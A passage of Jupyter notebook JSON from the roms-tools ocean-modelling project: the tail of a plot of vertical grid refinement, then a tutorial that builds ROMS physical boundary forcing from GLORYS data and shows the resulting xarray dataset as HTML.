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", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid_with_small_theta_b.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "markdown", "id": "d6daf029-33ae-4e04-9e4e-cf5f830935cb", "metadata": {}, "source": [ "Again, comparing the three plots above, we can see that \n", "\n", "* increasing `theta_b` leads to a refinement of the vertical grid near the bottom,\n", "* reducing `theta_b` leads to coarsening of the vertical grid near the bottom." ] }, { "cell_type": "code", "execution_count": null, "id": "980819b6-614a-499d-959a-2e6f4687a72c", "metadata": {}, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "id": "586b83f2-3270-4ccf-9a1b-08af50c40b61", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "romstools", "language": "python", "name": "romstools" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.12.7" } }, "nbformat": 4, "nbformat_minor": 5 }
3,094,323
Python
.py
3,780
811.726984
246,890
0.939109
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,733
boundary_forcing.ipynb
CWorthy-ocean_roms-tools/docs/boundary_forcing.ipynb
{ "cells": [ { "cell_type": "markdown", "id": "49250a1f-8799-4458-adec-6961cf9e5ffa", "metadata": {}, "source": [ "# Creating the boundary forcing" ] }, { "cell_type": "code", "execution_count": 1, "id": "70e99af9-1acb-4fd4-b741-b68a2579dc48", "metadata": { "tags": [] }, "outputs": [], "source": [ "from roms_tools import Grid, BoundaryForcing" ] }, { "cell_type": "markdown", "id": "a65f0b74-cf3d-4615-9fad-ed1687527f18", "metadata": {}, "source": [ "\n", "\n", "As always, the first step is to create our grid. Note that it is important to use the same grid throughout all the steps (i.e., creating tidal forcing, surface forcing, initial conditions, etc.) to set up a consistent ROMS simulation. Here we use the following grid." ] }, { "cell_type": "code", "execution_count": 2, "id": "a65e2403-1521-404f-b48f-cfc8de729293", "metadata": { "tags": [] }, "outputs": [], "source": [ "grid = Grid(\n", " nx=100, ny=100, size_x=1800, size_y=2400, center_lon=-21, center_lat=61, rot=20\n", ")" ] }, { "cell_type": "markdown", "id": "972211f1-f5c2-44b6-908e-cc3a5ebced8f", "metadata": {}, "source": [ "Next, we specify the temporal range that we want to make the surface forcing for." ] }, { "cell_type": "code", "execution_count": 3, "id": "02e4f825-22ba-4f84-b3d4-cf9a427de9d4", "metadata": { "tags": [] }, "outputs": [], "source": [ "from datetime import datetime" ] }, { "cell_type": "code", "execution_count": 4, "id": "b14b08c2-41e2-41ae-9c88-f03616354060", "metadata": { "tags": [] }, "outputs": [], "source": [ "start_time = datetime(2012, 1, 2)\n", "end_time = datetime(2012, 1, 4)" ] }, { "cell_type": "markdown", "id": "656c025b-8489-4f93-84a2-2f73add73c78", "metadata": {}, "source": [ "`ROMS-Tools` can create two types of boundary forcing:\n", "\n", "* physical boundary forcing like temperature, salinity, velocities, and sea surface height\n", "* biogeochemical (BGC) boundary forcing like alkalinity, dissolved inorganic phosphate, etc.\n", "\n", "As with surface forcing, ROMS accepts multiple boundary forcing files, so we create these two types separately." ] }, { "cell_type": "markdown", "id": "cfcf7eb4-1812-4c2d-a9ce-4f526b0841a2", "metadata": {}, "source": [ "## Physical boundary forcing\n", "\n", "In this section, we use GLORYS data to create our physical boundary forcing. The user is expected to have downloaded the GLORYS data spanning the desired ROMS domain and temporal range. You can download the GLORYS data from https://www.mercator-ocean.eu/en/ocean-science/glorys/. Our downloaded data sits at the following location." ] }, { "cell_type": "code", "execution_count": 5, "id": "12719098-276f-43ae-b977-38505840ac35", "metadata": { "tags": [] }, "outputs": [], "source": [ "path = [\n", " \"/global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120101.nc\", # include data from day before start time, just to be save\n", " \"/global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120102.nc\",\n", " \"/global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120103.nc\",\n", " \"/global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120104.nc\",\n", " \"/global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120105.nc\", # include data from day after end time, just to be save\n", "]" ] }, { "cell_type": "markdown", "id": "795b828b-6a33-4804-a1f6-52eb85f5f373", "metadata": {}, "source": [ "Note that we could have also specified the data location via a wildcard, e.g., `path='/glade/derecho/scratch/bachman/GLORYS/NA/2012/*.nc'`. But with this latter choice, `ROMS-Tools` will operate quite a bit slower. More specific filenames are better!" ] }, { "cell_type": "markdown", "id": "d2d4123f-3d0c-4ba2-bd1d-b873a3f10021", "metadata": {}, "source": [ "We now create an instance of the `BoundaryForcing` class with `type = \"physics\"`." ] }, { "cell_type": "code", "execution_count": 6, "id": "deafd0b0-4329-48ba-a9aa-89ff83e6d4d1", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 1min 47s, sys: 839 ms, total: 1min 48s\n", "Wall time: 5.61 s\n" ] } ], "source": [ "%%time\n", "\n", "boundary_forcing = BoundaryForcing(\n", " grid=grid,\n", " start_time=start_time,\n", " end_time=end_time,\n", " source={\"name\": \"GLORYS\", \"path\": path},\n", " type=\"physics\", # \"physics\" or \"bgc\"; default is \"physics\"\n", " use_dask=True, # default is False\n", ")" ] }, { "cell_type": "markdown", "id": "93e15563-eca8-4d1f-b5b7-9385197a5e6e", "metadata": {}, "source": [ "The boundary forcing variables are held in an `xarray.Dataset` that is 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1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 3MB\n", "Dimensions: (bry_time: 4, s_rho: 100, xi_rho: 102, xi_u: 101, eta_rho: 102,\n", " eta_v: 101)\n", "Coordinates:\n", " abs_time (bry_time) datetime64[ns] 32B 2012-01-01T12:00:00 ... 2012-01...\n", " * bry_time (bry_time) float64 32B 4.384e+03 4.384e+03 4.386e+03 4.386e+03\n", "Dimensions without coordinates: s_rho, xi_rho, xi_u, eta_rho, eta_v\n", "Data variables: (12/28)\n", " temp_south (bry_time, s_rho, xi_rho) float32 163kB dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;\n", " salt_south (bry_time, s_rho, xi_rho) float32 163kB dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;\n", " u_south (bry_time, s_rho, xi_u) float32 162kB dask.array&lt;chunksize=(1, 100, 101), meta=np.ndarray&gt;\n", " v_south (bry_time, s_rho, xi_rho) float32 163kB dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;\n", " zeta_south (bry_time, xi_rho) float32 2kB dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;\n", " ubar_south (bry_time, xi_u) float32 2kB dask.array&lt;chunksize=(1, 101), meta=np.ndarray&gt;\n", " ... ...\n", " salt_west (bry_time, s_rho, eta_rho) float32 163kB dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;\n", " u_west (bry_time, s_rho, eta_rho) float32 163kB dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;\n", " v_west (bry_time, s_rho, eta_v) float32 162kB dask.array&lt;chunksize=(1, 100, 101), meta=np.ndarray&gt;\n", " zeta_west (bry_time, eta_rho) float32 2kB dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;\n", " ubar_west (bry_time, eta_rho) float32 2kB dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;\n", " vbar_west (bry_time, eta_v) float32 2kB dask.array&lt;chunksize=(1, 101), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS boundary forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-02 00:00:00\n", " end_time: 2012-01-04 00:00:00\n", " source: GLORYS\n", " model_reference_date: 2000-01-01 00:00:00\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-ee68d2c8-1a24-42d5-80b1-cd67e904d4f8' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-ee68d2c8-1a24-42d5-80b1-cd67e904d4f8' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>bry_time</span>: 4</li><li><span>s_rho</span>: 100</li><li><span>xi_rho</span>: 102</li><li><span>xi_u</span>: 101</li><li><span>eta_rho</span>: 102</li><li><span>eta_v</span>: 101</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-6754fe2f-864d-40c8-ae96-11de75804458' class='xr-section-summary-in' type='checkbox' checked><label for='section-6754fe2f-864d-40c8-ae96-11de75804458' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(bry_time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-01T12:00:00 ... 2012-01-...</div><input id='attrs-5e124e52-611e-4741-b6ef-9c0e1ef37154' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-5e124e52-611e-4741-b6ef-9c0e1ef37154' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-098cd90a-845f-436f-8550-aa8e045113c7' class='xr-var-data-in' type='checkbox'><label for='data-098cd90a-845f-436f-8550-aa8e045113c7' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-01T12:00:00.000000000&#x27;, &#x27;2012-01-02T12:00:00.000000000&#x27;,\n", " &#x27;2012-01-03T12:00:00.000000000&#x27;, &#x27;2012-01-04T12:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>bry_time</span></div><div class='xr-var-dims'>(bry_time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.384e+03 4.384e+03 ... 4.386e+03</div><input id='attrs-f1b91f8d-023e-44aa-8376-77a591abb591' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-f1b91f8d-023e-44aa-8376-77a591abb591' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-dc6bc29c-1a04-4090-aee0-389b5051dc40' class='xr-var-data-in' type='checkbox'><label for='data-dc6bc29c-1a04-4090-aee0-389b5051dc40' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4383.5, 4384.5, 4385.5, 4386.5])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-636366a7-bb21-4cc0-b758-aa887e88d6e3' class='xr-section-summary-in' type='checkbox' ><label for='section-636366a7-bb21-4cc0-b758-aa887e88d6e3' class='xr-section-summary' >Data variables: <span>(28)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>temp_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-b8d91457-ff5e-43e7-bfcc-f2a4c930f697' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b8d91457-ff5e-43e7-bfcc-f2a4c930f697' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-186654d1-7ff9-4f50-a233-f2c97bf41133' class='xr-var-data-in' type='checkbox'><label for='data-186654d1-7ff9-4f50-a233-f2c97bf41133' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"132\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 29.419308022979912,19.419308022979912 29.419308022979912,137.0663668465093 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line 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style=\"stroke-width:2\" />\n", " <line x1=\"149\" y1=\"19\" x2=\"149\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"29.419308022979912,19.419308022979912 149.41930802297992,19.419308022979912 149.41930802297992,137.0663668465093 29.419308022979912,137.0663668465093\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"89.419308\" y=\"157.066367\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"169.419308\" y=\"78.242837\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,169.419308,78.242837)\">100</text>\n", " <text x=\"9.709654\" y=\"147.356713\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,9.709654,147.356713)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>salt_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-75ba0276-d918-4604-ab93-1dc088b46ed7' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-75ba0276-d918-4604-ab93-1dc088b46ed7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b52d9b2e-5099-4af8-80cb-c357a43974a7' class='xr-var-data-in' type='checkbox'><label for='data-b52d9b2e-5099-4af8-80cb-c357a43974a7' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" 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font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"169.419308\" y=\"78.242837\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,169.419308,78.242837)\">100</text>\n", " <text x=\"9.709654\" y=\"147.356713\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,9.709654,147.356713)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>u_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 101), meta=np.ndarray&gt;</div><input id='attrs-924d3fdd-0eb2-42e9-b604-2482568a460e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-924d3fdd-0eb2-42e9-b604-2482568a460e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-964f1883-2b22-4254-b377-630ebe686016' class='xr-var-data-in' type='checkbox'><label for='data-964f1883-2b22-4254-b377-630ebe686016' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div 